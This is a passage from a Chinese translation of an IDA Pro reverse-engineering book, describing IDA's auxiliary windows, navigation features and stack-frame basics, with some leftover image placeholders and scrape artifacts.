中的声明(也存在于图形视图中)代表 IDA 对函数堆栈帧布局的最佳估计。36] IDA 通过对堆栈指针和函数内使用的任何堆栈帧指针的行为进行详细分析来计算函数堆栈帧的结构。堆栈显示在 第六章 中进一步讨论。

中的注释(分号引入注释)是 交叉引用。在这种情况下,我们看到代码交叉引用(与数据交叉引用相对),这表明另一个程序指令将控制权转移到包含交叉引用注释的位置。交叉引用是 第九章 的主题。

在本书的剩余部分,我们将主要使用文本显示来举例。只有在它可能提供显著更多清晰度的情况下,我们才会使用图形显示。在 第七章 中,我们将介绍如何操作文本显示以清理和注释汇编的细节。

函数窗口

函数窗口用于列出 IDA 在数据库中识别的每个函数。函数窗口条目可能看起来如下:

malloc              .text                00BDC260 00000180 R . . . B . .

这一行特别指示,malloc 函数可以在虚拟地址 00BDC260 的二进制文件的 .text 部分找到,长度为 384 字节(十六进制 180),返回给调用者(R),并使用 EBP 寄存器(B)来引用其局部变量。用于描述函数的标志(如上例中的 RB)在 IDA 的内置帮助文件中描述(或通过右键单击一个函数并选择属性。标志在结果属性对话框中显示为可编辑的复选框)。

与其他显示窗口一样,双击函数窗口中的条目会导致汇编窗口跳转到所选函数的位置。

输出窗口

IDA 工作区底部的输出窗口补充了在新文件打开时可见的默认窗口集。输出窗口作为 IDA 的输出控制台,是查找 IDA 正在执行的任务信息的地方。例如,当首次打开二进制文件时,会生成消息来指示 IDA 在任何给定时间处于分析哪个阶段以及 IDA 正在执行哪些操作以创建新数据库。随着你与数据库一起工作,输出窗口用于输出你执行的各种操作的状态。可以通过在窗口的任何位置右键单击并选择适当的操作来复制输出窗口的内容或将内容全部清除。输出窗口通常是显示你为 IDA 开发的任何脚本和插件输出的主要方式。


^([34]) 基本块是执行,没有分支,从开始到结束的最大指令序列。因此,每个基本块都有一个单一的入口点(块中的第一条指令)和一个单一的出口点(块中的最后一条指令)。基本块中的第一条指令通常是分支指令的目标,而基本块中的最后一条指令通常是分支指令。

^([35]) IDA 使用术语来表示从给定指令继续执行的方式。正常(也称为普通)流表示指令的默认顺序执行。跳转流表示当前指令跳转(或可能跳转)到非顺序位置。调用流表示当前指令调用子程序。

^([36]) 栈帧(或激活记录)是在程序运行时栈中分配的一块内存,其中包含传递给函数的参数和在函数内声明的局部变量。栈帧在函数进入时分配,在函数退出时释放。栈帧在第六章中有更详细的讨论。

二级 IDA 显示

除了拆解、函数和输出窗口之外,IDA 在你的 IDA 桌面打开了许多其他标签页窗口。这些标签页位于导航栏下方(参见图 4-9在图 4-9))。这些窗口用于提供对数据库的替代或专用视图。这些显示的效用取决于你正在分析的二进制文件的特征以及你在 IDA 中的技能。其中一些窗口足够专业化,需要在后面的章节中提供更详细的介绍。

十六进制视图窗口

在这种情况下,十六进制视图的名称有些误导,因为 IDA 的十六进制视图窗口可以配置为显示各种格式,并且充当十六进制编辑器。默认情况下,十六进制视图窗口提供标准十六进制转储程序内容,每行 16 字节,并显示 ASCII 等效值。与反汇编窗口一样,可以同时打开多个十六进制视图。第一个十六进制窗口标题为十六进制视图-A,第二个十六进制视图-B,下一个十六进制视图-C,依此类推。默认情况下,第一个十六进制窗口与第一个反汇编窗口同步。当反汇编视图与十六进制视图同步时,在一个窗口中滚动会导致另一个窗口滚动到相同的位置(相同的虚拟地址)。此外,当在反汇编视图中选择一个项目时,相应的字节在十六进制视图中会被突出显示。在图 5-5 中,反汇编视图的光标位于地址0040108C,这是一个调用指令,导致构成指令的五个字节在十六进制窗口中被突出显示。

同步十六进制和反汇编视图

图 5-5. 同步十六进制和反汇编视图

在图 5-5 中同样显示的是十六进制显示上下文菜单,当你在十六进制显示的任何位置右键单击时都会出现此菜单。这个上下文菜单是您指定要使用哪个(如果有的话)反汇编视图与特定的十六进制显示同步的地方。取消选择同步选项允许十六进制窗口独立于任何反汇编窗口进行滚动。选择编辑菜单选项将十六进制视图转换为十六进制编辑器。一旦完成编辑,您必须提交或取消更改才能返回到查看模式。数据格式菜单项允许您从各种显示格式中选择,例如 1、2、4 或 8 字节十六进制;有符号十进制;或无符号十进制整数以及各种浮点格式。列菜单选项允许您更改显示中使用的列数,而文本选项允许您打开或关闭文本转储。

在某些情况下,您可能会发现十六进制窗口只显示问号。这是 IDA 告诉你它不知道哪些值可能占据给定的虚拟地址范围的方式。当程序包含一个 bss^([37])部分时,这种情况就会发生,这部分通常在文件中不占用空间,但由加载程序扩展以适应程序的静态存储需求。

导出窗口

导出窗口列出了文件中的入口点。这包括程序在头文件中指定的执行入口点,以及任何为其他文件使用而导出的函数和变量。导出函数通常可以在共享库中找到,例如 Windows DLL 文件。导出条目按名称、虚拟地址列出,如果适用,还可以按序号列出。^([38]) 对于可执行文件,导出窗口始终至少包含一个条目:程序的执行入口点。IDA 将此入口点命名为start。典型的导出窗口条目如下:

LoadLibraryA                          7C801D77 578

与许多其他 IDA 窗口一样,双击导出窗口中的条目将使反汇编窗口跳转到与该条目关联的地址。导出窗口还提供了类似于命令行工具objdump (-T)、readelf (-s)和dumpbin (/EXPORTS)的功能。

导入窗口

导入窗口是导出窗口的对应窗口。它列出了正在分析的二进制文件所导入的所有函数。导入窗口仅在二进制文件使用共享库时才相关。静态链接的二进制文件没有外部依赖,因此没有导入。导入窗口中的每一项都列出了导入项(函数或数据)的名称以及包含该项的库的名称。由于导入函数的代码位于共享库中,因此每一项中列出的地址是指相关导入表条目的虚拟地址。^([39]) 下面展示了导入窗口条目的一个示例:

0040E108  GetModuleHandleA         KERNEL32

双击此导入将使反汇编窗口跳转到地址0040E108。在十六进制视图中,此内存位置的 内容将是?? ?? ?? ??。IDA 是一个静态分析工具,它无法知道程序执行时将进入此内存位置的地址。导入窗口还提供了类似于命令行工具objdump (-T)、readelf (-s)和dumpbin (/IMPORTS)的功能。

关于导入窗口的一个重要要点是,它仅显示二进制文件希望由动态加载器自动处理的符号。那些二进制文件选择使用dlopen/dlsymLoadLibrary/GetProcAddress等机制自行加载的符号将不会在导入窗口中列出。

结构窗口

结构窗口用于显示 IDA 确定的二进制文件中使用的任何复杂数据结构的布局,例如 C 结构体或联合体。在分析阶段,IDA 会咨询其庞大的函数类型签名库,试图将函数参数类型与程序中使用的内存进行匹配。如图图 5-6 所示的结构窗口表明,IDA 认为程序使用了sockaddr^([40])数据结构。

结构窗口

图 5-6. 结构窗口

IDA 得出这一结论可能有多种可能的原因。其中一个可能的原因是,IDA 观察到对 C 库connect^([41])函数的调用以建立新的网络连接。双击数据结构(在本例中为sockaddr)的名称会导致 IDA 展开该结构,从而允许您查看结构的详细布局,包括各个字段名称和大小。

结构窗口的两个主要用途是(1)提供标准数据结构布局的便捷参考,以及(2)在您在程序中发现自定义数据结构时,提供创建自己的数据结构的方法,以便将其用作内存布局模板。结构定义和在反汇编中的应用将在第八章(第八章. 数据类型和数据结构)) 编译器创建bss部分来存放程序的所有未初始化的静态变量。由于这些变量没有分配初始值,因此不需要在程序的文件映像中为它们分配空间,因此该部分的尺寸在程序的一个头文件中记录。当程序执行时,加载器分配所需的空间并将整个块初始化为零。

^([38)) 在共享库中可以使用导出序号来通过数字而不是名称使函数可访问。使用序号可以加快地址查找过程,并允许程序员隐藏他们函数的名称。导出序号在 Windows DLL 中使用。

^([39]) 导入表为加载器提供了空间,以便在加载所需的库并且知道这些函数的地址后存储导入函数的地址。单个导入表条目包含一个导入函数的地址。

^([40]) sockaddr结构是 C 标准库中的一个数据类型,通常用于表示网络连接中的一个端点。sockaddr变量可以用来存储 IP 地址和端口号,作为建立与远程计算机的 TCP 连接的过程的一部分。

^([41]) int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);

三级 IDA 显示

我们将要讨论的最后一个窗口是 IDA 默认不打开的窗口。每个这些窗口都可以通过视图 ▸ 打开子视图访问,但它们通常提供的信息可能不是你立即需要的,因此最初被放在一边。

字符串窗口

字符串窗口是 IDA 内置的 strings 工具的等价物,并且还包含更多功能。在 IDA 5.1 及更早版本中,字符串窗口作为默认桌面的一部分打开;然而,从版本 5.2 开始,字符串窗口不再默认打开,尽管它仍然可以通过视图 ▸ 打开子视图 ▸ 字符串来访问。

字符串窗口的目的是显示从二进制文件中提取的字符串列表以及每个字符串所在的地址。就像在名称窗口中双击名称一样,在字符串窗口中双击任何列出的字符串会导致反汇编窗口跳转到所选字符串的地址。当与交叉引用(第九章 所示,设置字符串窗口用于指定 IDA 应扫描的字符串类型。IDA 默认扫描的字符串类型是至少五个字符长度的 C 风格、空终止、7 位 ASCII 字符串。每次你通过点击确定关闭设置字符串窗口时,IDA 将根据新设置重新扫描数据库中的字符串。有两个设置选项值得特别提及:

设置字符串窗口

图 5-7。设置字符串窗口

如果你预计会遇到除 C 风格字符串之外的内容,你应该重新配置设置字符串窗口以选择适当的字符串类型进行搜索。例如,Windows 程序通常使用 Unicode 字符串,而 Borland Delphi 二进制文件使用具有 2 字节长度的 Pascal 风格字符串。每次你通过点击确定关闭设置字符串窗口时,IDA 将根据新设置重新扫描数据库中的字符串。有两个设置选项值得特别提及:

仅显示已定义的字符串

此选项限制字符串窗口仅显示由 IDA 自动创建或由用户手动创建的命名字符串数据项。选择此选项后,所有其他选项都将被禁用,并且 IDA 不会自动扫描额外的字符串内容。

忽略指令/数据定义

此选项导致 IDA 在指令和现有数据定义中扫描字符串。使用此选项允许 IDA(1)查看可能嵌入在二进制代码部分且被错误地转换为指令的字符串,或者(2)查看可能格式化为除字符串之外的内容(如字节数组或整数)的数据中的字符串。此选项还会生成许多垃圾字符串,这些字符串恰好由五个或更多 ASCII 字符组成,无论它们是否可读。使用此选项的效果类似于使用带有-a开关的strings命令。

图 5-8 演示了如果字符串设置配置不当,IDA 不一定显示二进制中的所有字符串。在这种情况下,未选择忽略指令/数据定义。

未检测到的字符串数据示例

图 5-8. 未检测到的字符串数据示例

结果是,位于.rdata:0040C19C位置的字符串(“请猜一个介于 1 和%d 之间的数字。”)未被检测到。这里的教训是要确保你在所有可能找到它们的地方寻找你期望遇到的所有类型的字符串。

名称窗口

名称窗口,如图图 5-9 所示,提供了二进制中所有全局名称的总结列表。名称不过是对程序虚拟地址给出的符号描述。IDA 最初在文件初始加载期间从符号表和签名分析中推导出名称列表。名称可以按字母顺序或虚拟地址顺序(升序或降序)排序。名称窗口对于快速导航到程序列表中的已知位置非常有用。双击名称窗口中的任何条目将立即跳转到反汇编视图以显示所选名称。

名称窗口

图 5-9. 名称窗口

显示的名称既有颜色编码也有字母编码。编码方案总结如下:

F 一个普通函数。这些是 IDA 不识别为库函数的函数。
L 这是一个库函数。IDA 通过使用签名匹配算法来识别库函数。如果某个库函数没有签名,该函数将被标记为普通函数。
I 导入的名称,最常见的是从共享库中导入的函数名称。与库函数的区别在于,导入的名称没有代码,而库函数的主体将在反汇编中存在。
C 命名的代码。这些是 IDA 认为不属于任何函数的程序指令位置。当 IDA 在程序的符号表中找到一个名称,但从未看到对应程序位置的call时,这是可能的。
D 数据。命名的数据位置通常代表全局变量。
A 字符串数据。这是一个包含符合 IDA 已知字符串数据类型之一(如以空字符终止的 ASCII C 字符串)的字符序列的数据位置。

在浏览反汇编代码时,你会注意到有许多在“名称”窗口中没有列出名称的命名位置。在反汇编程序的过程中,IDA 为所有直接引用的位置生成名称,无论是作为代码(分支或调用目标)还是作为数据(读取、写入或取地址)。如果一个位置在程序的符号表中命名,IDA 将采用符号表中的名称。如果没有给定程序位置的符号表条目,IDA 将为反汇编生成一个默认名称。当 IDA 选择命名一个位置时,该位置的虚拟地址将与一个表示正在命名的位置类型的前缀结合。将虚拟地址纳入生成的名称确保所有生成的名称都是唯一的,因为两个位置不能共享相同的虚拟地址。此类自动生成的名称不会在“名称”窗口中显示。用于自动生成名称的一些更常见的前缀包括以下这些:

sub_*****`xxxxxx`* 地址 xxxxxx 的子程序
loc_*****`xxxxxx`* 地址 xxxxxx 的指令位置
byte_*****`xxxxxx`* 位置 xxxxxx 的 8 位数据
word_*****`xxxxxx`* 位置 xxxxxx 的 16 位数据
dword_*****`xxxxxx`* 位置 xxxxxx 的 32 位数据
unk_*****`xxxxxx`* 位置 xxxxxx 的未知大小数据

在本书的整个过程中,我们将展示 IDA 在为程序数据位置选择名称时应用的更多算法。

段窗口

Segments 窗口显示了二进制文件中存在的段的总览列表。请注意,IDA 所说的在讨论二进制文件结构时通常被称为。不要将这种使用的方式与实现分段内存架构的 CPU 相关的内存段混淆。窗口中显示的信息包括段名、起始和结束地址以及权限标志。起始和结束地址表示程序节在运行时将被映射到的虚拟地址范围。以下列表是来自 Windows 二进制文件的 Segments 窗口内容的示例:

Name   Start    End      R W X D L Align  Base
 Type   Class  AD es   ss   ds   fs       gs
UPX0   00401000 00407000 R W X . L para   0001 public CODE   32
 0000 0000 0001 FFFFFFFF FFFFFFFF
UPX1   00407000 00408000 R W X . L para   0002 public CODE   32
 0000 0000 0001 FFFFFFFF FFFFFFFF
UPX2   00408000 0040803C R W . . L para   0003 public DATA   32
 0000 0000 0001 FFFFFFFF FFFFFFFF
.idata 0040803C 00408050 R W . . L para   0003 public XTRN   32
 0000 0000 0001 FFFFFFFF FFFFFFFF
UPX2   00408050 00409000 R W . . L para   0003 public DATA   32
 0000 0000 0001 FFFFFFFF FFFFFFFF

在这种情况下,我们可能会很快怀疑这个特定的二进制文件有问题,因为它使用非标准的段名,并且有两个可写可执行的段,这表明可能存在自修改代码的可能性(关于这一点,请参阅第二十一章)。IDA 知道段的大小并不表示 IDA 知道段的内容。由于各种原因,段在磁盘上通常比在内存中占用的空间要少。在这种情况下,IDA 会显示 IDA 已确定可以从磁盘文件填充的部分的值。对于段的其他部分,IDA 会显示问号。

双击窗口中的任何条目,将反汇编视图跳转到所选段的起始位置。右键单击条目提供了一个上下文菜单,您可以从该菜单添加新段、删除现有段或编辑现有段的属性。这些功能在逆向工程非标准格式的文件时特别有用,因为二进制文件的段结构可能没有被 IDA 加载器检测到。

Segments 窗口的命令行对应项包括objdump-h)、readelf-S)和dumpbin/HEADERS)。

签名窗口

IDA 利用一个庞大的签名库来识别已知的代码块。签名用于识别常见的编译器生成的启动序列,以尝试确定可能用于构建给定二进制的编译器。签名还用于将函数分类为编译器插入的已知库函数,或作为静态链接结果添加到二进制中的函数。当 IDA 为您识别库函数时,您可以更多地专注于 IDA 未识别的代码(这可能比逆向工程printf的内部工作原理对您更有趣)。

签名窗口用于列出 IDA 已经与打开的二进制文件匹配的签名。以下是一个来自 Windows PE 文件的示例:

File      State     #func  Library name
vc32rtf   Applied   501    Microsoft VisualC 2-8/net runtime

这个例子表明,IDA 已经应用了vc32rtf签名(来自<IDADIR>/sigs),针对二进制文件进行处理,从而能够识别出 501 个库函数。这意味着你将不需要对这 501 个函数进行逆向工程!

在至少两种情况下,你可能需要知道如何对你的二进制文件应用额外的签名。在第一种情况下,IDA 可能无法识别用于构建二进制文件的编译器,从而导致无法选择适当的签名进行应用。在这种情况下,你可能希望强制 IDA 应用一个或多个你认为 IDA 应该尝试的签名。第二种情况涉及为可能没有包含在 IDA 中的库创建自己的签名。一个例子可能是为 FreeBSD 8.0 中随附的 OpenSSL 库的静态版本创建签名。DataRescue 提供了一套工具包,可以生成由 IDA 的签名匹配引擎使用的自定义签名。我们将在第十二章中介绍自定义签名的生成。无论你为什么想要应用新的签名,按下插入键或在签名窗口内右键单击都将提供“应用新签名”选项,此时你可以从 IDA 安装所知的所有签名列表中进行选择。

类型库窗口

与签名窗口在概念上相似的是类型库窗口。类型库代表了 IDA 从大多数流行编译器包含的头文件中积累的对预定义数据类型和函数原型的知识。通过处理头文件,IDA 能够理解常见库函数期望的数据类型,并相应地注释你的反汇编代码。同样,从这些头文件中,IDA 也能理解复杂数据结构的尺寸和布局。所有这些类型信息都被收集到 TIL 文件(<IDADIR>/til)中,并在分析任何二进制文件时应用。与签名一样,在 IDA 能够选择适当的 TIL 文件集进行加载之前,它必须首先能够推断出程序使用的库。你可以通过按插入键或在类型库窗口内右键单击并选择“加载类型库”来请求 IDA 加载额外的类型库。类型库的详细信息将在第十三章中介绍。

函数调用窗口

在任何程序中,一个函数既可以调用其他函数,也可以被其他函数调用。实际上,构建一个显示调用者和被调用者之间关系的图是一项相当简单的任务。这样的图被称为函数调用图函数调用树(我们将在第九章中演示如何让 IDA 生成这样的图)。有时,我们可能对查看程序的整个调用图不感兴趣;相反,我们可能只对知道给定函数的即时邻居感兴趣。为了我们的目的,如果我们说 Y 是 X 的邻居,那么 Y 直接调用 X 或者 X 直接调用 Y。

函数调用窗口提供了对这个邻居问题的答案。当你打开函数调用窗口时,IDA 确定光标所在函数的邻居,并生成类似于图 5-10 所示的显示。

函数调用窗口

图 5-10. 函数调用窗口

在这个例子中,我们看到名为sub_40182C的函数在_main_main中从六个不同的位置被调用,而_main又依次调用了 15 个其他函数。在函数调用窗口中双击任何一行会立即将反汇编窗口跳转到选定的调用或被调用函数(或调用者和被调用者)。IDA 交叉引用(xrefs)是生成函数调用窗口的底层机制。交叉引用将在第九章中更详细地介绍。

问题窗口

问题窗口是 IDA 通知你它在反汇编二进制文件时遇到的任何困难以及它如何处理这些困难的方式。在某些情况下,你可能能够操作反汇编来帮助 IDA 克服问题,而在其他情况下你可能不能。你可能会在即使是简单的二进制文件中遇到问题。在许多情况下,简单地选择忽略问题不是一个坏策略。为了纠正许多问题,你需要比 IDA 更好的理解二进制文件,对于我们大多数人来说,这可能不太可能发生。以下是一些问题示例:

Address          Type       Instruction
.text:0040104C   BOUNDS     call    eax
.text:004010B0   BOUNDS     call    eax
.text:00401108   BOUNDS     call    eax
.text:00401350   BOUNDS     call    dword ptr [eax]
.text:004012A0   DECISION   push    ebp
.text:004012D0   DECISION   push    ebp
.text:00401560   DECISION   jmp     ds:__set_app_type
.text:004015F8   DECISION   dd 0FFFFFFFFh
.text:004015FC   DECISION   dd 0

每个问题都有以下特征:(1)问题发生的位置地址,(2)遇到的问题类型,以及(3)问题位置处的指令。在这个例子中,我们看到一个 BOUNDS 问题和一个 DECISION 问题。当 calljump 的目标无法确定(如本例中,因为 IDA 未知 eax 的值)或似乎位于程序虚拟地址范围之外时,就会发生 BOUNDS 问题。DECISION 问题通常根本不是问题。DECISION 通常表示 IDA 选择将字节反汇编为指令而不是数据的位置,即使该地址在递归下降指令遍历过程中从未被引用(参见第一章)。有关问题类型及其处理建议的完整列表可在内置的 IDA 帮助文件中找到(参见主题 问题列表)。

摘要

初看之下,IDA 提供的显示数量可能会让你感到不知所措。你可能发现,在足够熟悉之前,坚持使用主要显示是最容易的。无论如何,你当然不应该觉得有义务使用 IDA 抛给你的所有功能。并非每个窗口在每种逆向工程场景中都会有用。

除了本章中提到的窗口外,在你努力掌握 IDA 的过程中,你将面临大量的对话框。我们将随着书中剩余部分的相关性介绍关键对话框。最后,除了默认的反汇编视图图之外,我们选择在本章中不涵盖图形。IDA 菜单系统将图形区分为一个独立的显示类别,与本章讨论的子视图不同。我们将在第九章(第九章. 跨引用和图形)中解释这一选择的原因,该章专门讨论图形。

在这个阶段,你应该开始熟悉 IDA 用户界面了。在下一章中,我们将开始关注你如何通过操作反汇编来增强对其行为的理解,以及如何使你的生活使用 IDA 更为便捷。

第六章. 反汇编导航

无标题图片

在本章和接下来的章节中,我们将介绍赋予 IDA Pro 中“交互”核心的东西,简而言之,就是导航和操作的便捷性。本章的重点是导航;具体来说,我们展示了 IDA 如何以逻辑方式方便地在反汇编中移动。到目前为止,我们已经展示了在基本层面上 IDA 只是将许多常见逆向工程工具的功能组合到一个集成的反汇编显示中。静态反汇编列表除了滚动上下之外,没有固有的导航能力。即使是最优秀的文本编辑器,这些“死列表”也很难导航,因为它们所能提供的最好的东西通常只是集成式的、类似grep风格的搜索。正如您将看到的,IDA 的数据库基础提供了卓越的导航功能。

基本 IDA 导航

在您使用 IDA 的初始体验中,您可能会很高兴只使用 IDA 提供的导航功能。除了提供您从使用文本编辑器或文字处理器中习惯的标准搜索功能之外,IDA 还开发和显示了一个全面的交叉引用列表,其行为类似于网页上的超链接。最终结果是,在大多数情况下,导航到感兴趣的位置只需要双击即可。

双击导航

当一个程序被反汇编时,程序中的每个位置都会被分配一个虚拟地址。因此,我们可以通过提供我们感兴趣访问的位置的虚拟地址来在程序中导航到任何地方。不幸的是,在我们脑海中维护地址目录并不是一个简单任务。这个事实促使早期的程序员为他们希望引用的程序位置分配符号名称,这使得事情变得容易得多。对程序地址分配符号名称并不像对程序操作码分配助记指令名称;通过使它们更容易记住,程序变得更容易阅读和编写。

如我们之前讨论的,IDA 在分析阶段通过检查二进制的符号表或根据二进制中位置的引用自动生成名称来生成符号名称。除了其符号目的之外,在反汇编窗口中显示的任何名称都是一个潜在的导航目标,类似于网页上的超链接。这些名称与标准超链接之间的两个区别是(1)名称永远不会以任何方式突出显示以指示它们可以被跟随,以及(2)IDA 需要双击来跟随,而不是超链接所需的单击。我们已经看到了在函数、导入和导出等子窗口中使用名称的例子。回想一下,对于这些窗口中的每一个,双击一个名称都会使反汇编视图跳转到引用的位置。这是双击导航工作的一个例子。在下面的列表中,每个标记为 httpatomoreillycomsourcenostarchimages854061.png 的符号代表一个命名的导航目标。双击其中的任何一个都会导致 IDA 将显示重新定位到所选位置。

.text:0040132B loc_40132B:                   ; CODE XREF: sub_4012E4+B^j
.text:0040132B       cmp     edx, 0CDh
.text:00401331       jg      short loc_40134E
.text:00401333       jz      loc_4013BF
.text:00401339       sub     edx, 0Ah
.text:0040133C       jz      short loc_4013A7
.text:0040133E       sub     edx, 0C1h
.text:00401344       jz      short loc_4013AF
.text:00401346       dec     edx
.text:00401347       jz      short loc_4013B7
.text:00401349       jmp     loc_4013DD   ; default
.text:00401349                              ; jumptable 00401300 case 0
.text:0040134E ; ----------------------------------------------------------
.text:0040134E
.text:0040134E loc_40134E:                   ; CODE XREF: sub_4012E4+4D^j

为了导航目的,IDA 将另外两个显示实体视为导航目标。首先,交叉引用(如图 httpatomoreillycomsourcenostarchimages854063.png 所示)被视为导航目标。交叉引用通常格式化为名称和十六进制偏移量。在前面列表中loc_40134E右侧的交叉引用指的是sub_4012E4起始处4D[16]77[10]字节之外的位置。双击交叉引用文本将使显示跳转到引用位置(在本例中为00401331)。交叉引用将在第九章中更详细地介绍。

在导航方面,第二种获得特殊处理的显示实体是使用十六进制值。如果一个显示的十六进制值代表二进制中的有效虚拟地址,那么双击该值将重新定位反汇编窗口以显示所选的虚拟地址。在下面的列表中,双击任何由 httpatomoreillycomsourcenostarchimages854093.png 指示的值将跳转显示,因为每个值都是给定二进制中的有效虚拟地址,而双击任何由 httpatomoreillycomsourcenostarchimages854095.png 指示的值将没有任何效果。

.data:00409013       db    4
.data:00409014       dd 4037B0h
.data:00409018       db    0
.data:00409019       db  0Ah
.data:0040901A       dd 404590h
.data:0040901E       db    0
.data:0040901F       db  0Ah
.data:00409020       dd 404DA8h

关于双击导航的最后一项说明是 IDA 输出窗口,它通常用于显示信息消息。当导航目标,如之前所述,作为消息中的第一个项目出现时,双击消息将使显示跳转到指示的目标。

Propagating type information...
  Function argument information has been propagated
  The initial autoanalysis has been finished.
 40134e is an interesting location
 Testing: 40134e
 loc_4013B7
 Testing: loc_4013B7

在刚刚显示的输出窗口摘录中,由 httpatomoreillycomsourcenostarchimages854099.png 指示的两个消息可以使用来导航到各自消息开头指示的地址。双击任何其他消息,包括 ![httpatomoreillycomsourcenostarchimages854101.png] 中的消息,将不会执行任何操作。

跳转到地址

有时,您可能确切知道想要导航到的地址,但在反汇编窗口中没有可用的名称来提供简单的双击导航。在这种情况下,您有几个选择。第一个,也是最原始的选择,是使用反汇编窗口的滚动条向上或向下滚动显示,直到所需的地点出现在视图中。这通常只有在您要导航到的位置是按虚拟地址知道的时才可行,因为反汇编窗口是按虚拟地址线性组织的。如果您只知道一个命名的位置,例如名为 foobar 的子程序,那么通过滚动条导航就变成了一种类似大海捞针的搜索。在这种情况下,您可能选择按字母顺序对函数窗口进行排序,滚动到所需的名称,然后双击该名称。第三个选项是使用 IDA 的搜索功能之一,这些功能通常通过搜索菜单提供,这通常涉及在请求 IDA 执行搜索之前指定一些搜索条件。在搜索已知位置的情况下,这通常是过度的。

最终,到达已知的反汇编位置最简单的方法是使用图 6-1 中显示的地址跳转对话框。

地址跳转对话框

图 6-1. 地址跳转对话框

地址跳转对话框可以通过“跳转 ▸ 跳转到地址”访问,或者在反汇编窗口处于活动状态时使用 G 快捷键。将此对话框视为“转到”对话框可能有助于您记住相关的快捷键。要导航到二进制中的任何位置,只需指定地址(可以是名称或十六进制值)并点击“确定”,这将立即将显示跳转到所需位置。对话框中输入的值将被记住,并在后续使用时通过下拉列表提供。此历史功能使得返回之前请求的位置变得相对容易。

导航历史

如果我们将 IDA 的文档导航功能与网络浏览器的功能进行比较,我们可以将名称和地址等同于超链接,因为每个都可以相对容易地跟随以查看新位置。IDA 与传统的网络浏览器共享的另一项功能是基于你导航反汇编的顺序的前进和后退导航概念。每次你导航到反汇编中的新位置时,你的当前位置都会附加到历史列表中。有两个菜单操作可用于遍历此列表。首先,Jump ▸ 跳转到上一个位置将反汇编重新定位到历史列表中的最新条目。其行为在概念上与网络浏览器的后退按钮相同。相关的快捷键是 esc,这是你可以记住的最有用的快捷键之一。然而,警告你,当除了反汇编窗口之外的任何窗口处于活动状态时使用 esc 会导致活动窗口关闭。(你可以通过 View ▸ Open Subviews 重新打开你意外关闭的窗口。)当你跟随了多层函数调用链并决定想要导航回反汇编中的原始位置时,后退导航非常方便。

Jump ▸ 跳转到下一个位置是与该操作对应的操作,它以类似于网络浏览器前进按钮的方式将反汇编窗口向前移动历史列表。为了完整性起见,此操作的关联快捷键是 ctrl-enter,尽管它通常不如使用 esc 进行后退导航有用。

最后,两个更有用的工具栏按钮,如图 6-2 所示,提供了熟悉的浏览器风格的前进和后退行为。每个按钮都关联一个下拉历史列表,它允许你立即访问导航历史中的任何位置,而无需在整个列表中追踪你的步骤。

前进和后退导航按钮

图 6-2. 前进和后退导航按钮

栈帧

由于 IDA Pro 是一个低级分析工具,许多其功能和显示都期望用户对编译语言的低级细节有一定了解,这些细节大多集中在生成机器语言和管理高级程序使用的内存的具体细节上。因此,本书不时会涵盖一些编译程序的理论,以便理解相关的 IDA 显示。

其中一个低级概念是栈帧。栈帧是在程序运行时堆栈内分配的内存块,专门用于函数的特定调用。程序员通常将可执行语句组合成称为函数(也称为过程子程序方法)的单位。在某些情况下,这可能使用户使用的语言的要求。在大多数情况下,将程序构建成这样的功能单元被认为是良好的编程实践。

当函数未执行时,它通常需要的内存很少或不需要。但是,当函数被调用时,它可能需要内存,原因有几个。首先,函数的调用者可能希望以参数(参数)的形式将信息传递给函数,并且这些参数需要存储在函数可以找到它们的地方。其次,函数在执行任务时可能需要临时存储空间。这种临时空间通常是通过程序员通过声明局部变量来分配的,这些局部变量可以在函数内部使用,但在函数完成后无法访问。

编译器利用栈帧(也称为活动记录)使函数参数和局部变量的分配和释放对程序员来说是透明的。编译器在将控制权传递给函数本身之前,插入代码将函数的参数放入栈帧中,此时编译器插入代码以分配足够的内存来存储函数的局部变量。由于栈帧的构建方式,函数应返回的地址也存储在新的栈帧中。使用栈帧的一个令人愉快的结果是递归成为可能,因为每个递归调用函数都有自己的栈帧,从而清晰地隔离了每个调用与其前一个调用。以下步骤详细说明了函数被调用时发生的操作:

  1. 调用者将函数所需的所有参数放入由被调用函数使用的调用约定(参见调用约定)指定的位置。如果参数放在运行时堆栈上,此操作可能会导致程序堆栈指针发生变化。

  2. 调用者将控制权传递给被调用的函数。这通常通过像 x86 的CALL或 MIPS 的JAL这样的指令来完成。返回地址通常被保存在程序堆栈或 CPU 寄存器中。

  3. 如果需要,被调用的函数会采取步骤配置一个帧指针^([42])并保存调用者期望保持不变的任何寄存器值。

  4. 被调用的函数为其可能需要的任何局部变量分配空间。这通常是通过调整程序堆栈指针来在运行时堆栈上预留空间来完成的。

  5. 被调用的函数执行其操作,可能生成一个结果。在执行操作的过程中,被调用的函数可能会访问调用函数传递给它的参数。如果函数返回一个结果,这个结果通常会被放置到一个或多个特定的寄存器中,调用者可以在函数返回后检查这些寄存器。

  6. 一旦函数完成其操作,为局部变量保留的栈空间就会被释放。这通常是通过逆转第 4 步中执行的操作来完成的。

  7. 为调用者保存的任何寄存器值(在第 3 步中保存)都会恢复到其原始值。这包括恢复调用者的帧指针寄存器。

  8. 被调用的函数将控制权返回给调用者。典型的指令包括 x86 的RET指令和 MIPS 的JR指令。根据使用的调用约定,此操作还可能用于清除程序栈中的一个或多个参数。

  9. 一旦调用者恢复控制,它可能需要从程序栈中移除参数。在这种情况下,可能需要进行栈调整,以将程序栈指针恢复到第 1 步之前的值。

第 3 步和第 4 步在函数进入时通常都会执行,因此它们一起被称为函数的序言。同样,第 6 步到第 8 步在函数结束时经常执行,因此它们共同构成了函数的尾声。除了代表函数主体的第 5 步之外,所有这些操作都构成了调用函数时的开销。

调用约定

在对栈帧有一个基本理解的基础上,我们可以更仔细地看看它们是如何结构的。以下示例参考了 x86 架构以及与常见的 x86 编译器(如 Microsoft Visual C/C++或 GNU 的 gcc/g++)相关的行为。创建栈帧最重要的步骤之一是调用函数将函数参数放置到栈上。调用函数必须按照被调用函数期望找到的方式存储参数;否则,可能会出现严重问题。函数通过选择并遵循特定的调用约定来声明它们期望接收参数的方式。

调用约定确切地规定了调用者应将函数所需的任何参数放置在何处。调用约定可能要求参数放置在特定的寄存器中、程序堆栈上,或者同时在寄存器和堆栈上。与参数在程序堆栈上传递的时间同等重要的是确定谁负责在调用函数完成后从堆栈上移除它们。一些调用约定规定调用者负责从堆栈上移除它放置的参数,而其他调用约定规定被调用函数将负责从堆栈上移除参数。遵守公开的调用约定对于维护程序堆栈指针的完整性至关重要。

C 调用约定

